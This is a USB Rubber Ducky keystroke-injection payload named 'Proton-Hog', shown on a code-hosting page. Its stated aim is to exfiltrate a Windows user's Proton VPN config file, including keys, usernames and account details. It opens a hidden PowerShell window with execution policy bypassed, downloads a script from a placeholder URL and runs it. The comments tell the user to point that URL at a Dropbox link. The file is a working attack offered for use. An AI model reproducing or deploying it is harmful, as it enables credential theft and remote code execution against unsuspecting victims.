Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
 Path: blob/master/payloads/library/exfiltration/Proton-Hog/payload.txt
2968 views
1
REM     Title: Proton-Hog

2


3
REM     Author: atomiczsec

4


5
REM     Description: A payload to exfiltrate the user config file of Proton VPN that contains keys and usernames as well as acount information.

6


7


8
REM     Target: Windows 10

9


10
DEFINE TARGET_URL example.com

11


12
DELAY 2000

13
GUI r

14
DELAY 500

15
STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr TARGET_URL dl=1; iex $pl

16
ENTER

17


18
REM     Remember to replace the link with your DropBox shared link for the intended file to download in the DEFINE constant

19
REM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1

20